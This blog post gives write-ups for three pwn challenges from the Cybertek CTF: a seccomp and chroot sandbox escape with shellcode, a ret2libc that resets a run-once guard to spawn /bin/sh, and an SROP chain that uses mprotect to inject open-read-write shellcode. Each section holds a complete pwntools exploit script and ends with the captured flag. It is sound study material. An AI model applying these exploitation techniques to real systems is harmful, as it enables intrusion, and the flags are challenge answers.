Summary

This post contains quick writeups for some of the challenges I solved during the Cybertek CTF.


babysandbox

FROM ubuntu:24.04  

RUN apt-get update && apt-get install -y \  
    socat \  
    && rm -rf /var/lib/apt/lists/*  

RUN useradd -m ctf  

WORKDIR /home/ctf  

COPY main /home/ctf/main  
COPY flag.txt /home/ctf/flag.txt  

RUN chmod +x /home/ctf/main && chmod 444 /home/ctf/flag.txt  

USER ctf  

EXPOSE 1333  

CMD ["socat", "TCP-LISTEN:1333,reuseaddr,fork", "EXEC:/home/ctf/main"]  
unsigned __int64 challenge()  
{  
  void *buf; // [rsp+0h] [rbp-30h]  
  __int64 v2; // [rsp+8h] [rbp-28h]  
  char path[24]; // [rsp+10h] [rbp-20h] BYREF  
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]  

  v4 = __readfsqword(0x28u);  
  puts("----------------Welcome to BABYSANDBOX----------------");  
  puts("I invite you to upload a custom shellcode to do whatever you want");  
  puts("Well whatever we agree on");  
  strcpy(path, "/tmp/jail-XXXXXX");  
  mkdtemp(path);  
  chroot(path);  
  chdir("/");  
  putchar('>');  
  buf = mmap((void *)0x1337000, 0x1000u, 7, 0x22, 0, 0);  
  read(0, buf, 0x1000u);  
  v2 = seccomp_init(0);  
  seccomp_rule_add(v2, 0x7FFF0000, 2, 0);  
  seccomp_rule_add(v2, 0x7FFF0000, 0, 0);  
  seccomp_rule_add(v2, 0x7FFF0000, 0x28, 0);  
  seccomp_rule_add(v2, 0x7FFF0000, 0x53, 0);  
  seccomp_rule_add(v2, 0x7FFF0000, 0x50, 0);  
  seccomp_rule_add(v2, 0x7FFF0000, 0xA1, 0);  
  seccomp_rule_add(v2, 0x7FFF0000, 4, 0);  
  seccomp_rule_add(v2, 0x7FFF0000, 0x3C, 0);  
  puts("Executing shellcode!\n");  
  seccomp_load(v2);  
  ((void (*)(void))buf)();  
  seccomp_release(v2);  
  return v4 - __readfsqword(0x28u);  
}  

This is a basic sandbox that chroots into /tmp/jail and then changes the current working directory to root.
It blocks all syscalls except {open, read, sendfile, mkdir, chdir, chroot, stat, exit}

User input gets read in and executed.

Strategy
- Create a new directory (syscall 0x53) and chroot into it, but skip changing to root so we can use .. to go up directories and reach ../../home/ctf/flag.txt
- Then use open (0x2), read (0x0), and sendfile (0x28) to read and print the flag
- Done

from pwn import*  

elf = context.binary = ELF('./main')  
p = process()  

payload = asm("""  
    mov rax, 0x53                 
    mov rdi, 0x41                   /* directory ./A */  
    push rdi  
    mov rdi, rsp  
    mov rsi, 777  
    syscall  

    mov rax, 0xa1     
    syscall  

    mov rax, 0x2              
    mov rdi, 0x007478742e67616c  
    push rdi  
    mov rdi, 0x662f6674632f656d  
    push rdi  
    mov rdi, 0x6f682f2e2e2f2e2e  
    push rdi  
    mov rdi, rsp                    /* points to ../../home/ctf/flag.txt */  
    xor rsi, rsi  
    xor rdx, rdx  
    syscall  

    cmp rax, 0            
    jge flag_opened  
    mov rdi, rax  
    neg rdi  
    mov rax, 60  
    syscall  

flag_opened:  
    mov rdi, 0x1      
    mov rsi, rax  
    mov rdx, 0x0  
    mov r10, 0x50  
    mov rax, 0x28  
    syscall  
""")  

p.send(payload)  
p.interactive()  

Securinets{3e299c7914cee8be389036792c3d8a40536de5fffdba33bb9fcffe3c}


recall

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
int setup()  
{  
  int result; // eax  

  setresgid(0, 0, 0);  
  setresuid(0, 0, 0);  
  setvbuf(stdin, 0, 2, 0);  
  result = setvbuf(_bss_start, 0, 2, 0);  
  SET = 0;  
  return result;  
}  

int __fastcall main(int argc, const char **argv, const char **envp)  
{  
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF  

  if ( SET != 1 )  
    exit(1);  
  setup(argc, argv, envp);  
  fflush(_bss_start);  
  puts(" Welcome to the recall service! ");  
  puts("Enter your name: ");  
  fflush(_bss_start);  
  gets(v4);  
  printf("Hello, %s\n", v4);  
  return fflush(_bss_start);  
}  

This is a basic ret2libc with a simple twist: main can only run once (supposedly) and exits if you ret2main by checking if SET has changed (which it does in the setup() function)

Strategy
- Leak libc with puts
- Call gets(&SET) to reset it to \x01
- Ret2main
- Call system(b'/bin/sh')

from pwn import*  

elf = context.binary = ELF('./recall')  
libc = ELF('./libc.so.6')  
rop = ROP(elf)  
p = process()  


pop_rdi = 0x401219  
SET = 0x404010  

payload = (b'A' * 0x28   
           + p64(pop_rdi)  
           + p64(elf.got.puts)  
           + p64(elf.sym.puts)  
           + p64(pop_rdi)  
           + p64(SET)  
           + p64(elf.sym.gets)  
           + p64(elf.sym.main)  
           )  

p.clean()  
p.sendline(payload)  

p.recvline()  
libc.address = u64(p.recvline().strip().ljust(0x8, b'\x00')) - libc.sym.puts  
log.success("leaked libc: " + hex(libc.address))  

sleep(0.5)  
p.sendline(b'\x01')  

payload = (b'B' * 0x28  
           + p64(0x401219)  
           + p64(next(libc.search(b'/bin/sh\x00')))  
           + p64(libc.sym.system)  
           )  

sleep(0.5)  
p.sendline(payload)  

p.interactive()  

Securinets{Always_reC1ll_Before_Plt!!}


SROwave

0000000000401000 <_start>:  
  401000:   48 b8 5d 10 40 00 00    movabs rax,0x40105d  
  401007:   00 00 00   
  40100a:   50                      push   rax  
  40100b:   b8 01 00 00 00          mov    eax,0x1  
  401010:   bf 01 00 00 00          mov    edi,0x1  
  401015:   48 8d 34 25 00 20 40    lea    rsi,ds:0x402000  
  40101c:   00   
  40101d:   ba 46 00 00 00          mov    edx,0x46  
  401022:   0f 05                   syscall  
  401024:   b8 01 00 00 00          mov    eax,0x1  
  401029:   bf 01 00 00 00          mov    edi,0x1  
  40102e:   48 8d 34 25 46 20 40    lea    rsi,ds:0x402046  
  401035:   00   
  401036:   ba 12 00 00 00          mov    edx,0x12  
  40103b:   0f 05                   syscall  
  40103d:   48 83 ec 40             sub    rsp,0x40  
  401041:   b8 00 00 00 00          mov    eax,0x0  
  401046:   bf 00 00 00 00          mov    edi,0x0  
  40104b:   48 89 e6                mov    rsi,rsp  
  40104e:   ba 00 02 00 00          mov    edx,0x200  
  401053:   0f 05                   syscall  
  401055:   48 31 f6                xor    rsi,rsi  
  401058:   48 83 c4 40             add    rsp,0x40  
  40105c:   c3                      ret  

000000000040105d <exit_syscall>:  
  40105d:   b8 3c 00 00 00          mov    eax,0x3c  
  401062:   48 31 ff                xor    rdi,rdi  
  401065:   0f 05                   syscall  
  401067:   58                      pop    rax  
  401068:   c3                      ret  
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA  

             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)  
          0x400000           0x401000 r--p     1000      0 main  
          0x401000           0x402000 r-xp     1000   1000 main  
          0x402000           0x403000 r--p     1000   2000 main  
    0x7ffff7ff9000     0x7ffff7ffb000 r--p     2000      0 [vvar]  
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000      0 [vvar_vclock]  
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000      0 [vdso]  
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]  
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]  

The binary has a buffer overflow with no stack canary or PIE, plus syscall instructions that enable SROP. The issue is there's no /bin/sh in the binary and no writable region to put it.

Strategy
- Use mprotect to change protections on the executable region and get write permission on it
- Instead of doing the traditional execve('/bin/sh') with a SigreturnFrame we can inject shellcode directly into the executable region of the binary right after the read syscall so we override the remaining instructions and resume execution into our open-read-write flag.txt
- gg in 1 rt_sigreturn syscall

from pwn import*  

elf = context.binary = ELF('./main')  
p = process()  

frame = SigreturnFrame()  
frame.rdi = 0x401000  
frame.rsi = 0x1000  
frame.rdx = 0x7     /* read | write | exec */  
frame.rax = 0xa  
frame.rip = 0x40103b  
frame.rsp = 0x401055 + 0x40  

payload = (   
        b'A' * 0x40  
        + p64(0x401067)  
        + p64(0xf)  
        + p64(0x40103b)  
        + bytes(frame)  
        )  

sleep(0.5)  
p.sendline(payload)  

shellcode = asm("""  
    mov rax, 2  
    xor rsi, rsi  
    push rsi  
    xor rdx, rdx  
    push rdx  
    mov rdi, 0x7478742e67616c66  
    push rdi  
    mov rdi, rsp  
    syscall  

    mov rdi, rax  
    mov rax, 0  
    lea rsi, [rsp+0x100]  
    mov rdx, 100  
    syscall  

    mov rax, 1  
    mov rdi, 1  
    lea rsi, [rsp+0x100]  
    mov rdx, 100  
    syscall  
""")  

sleep(0.5)  
p.sendline(shellcode)  

p.interactive()  

Securinets{SR0p_1S_C00l_0x1337}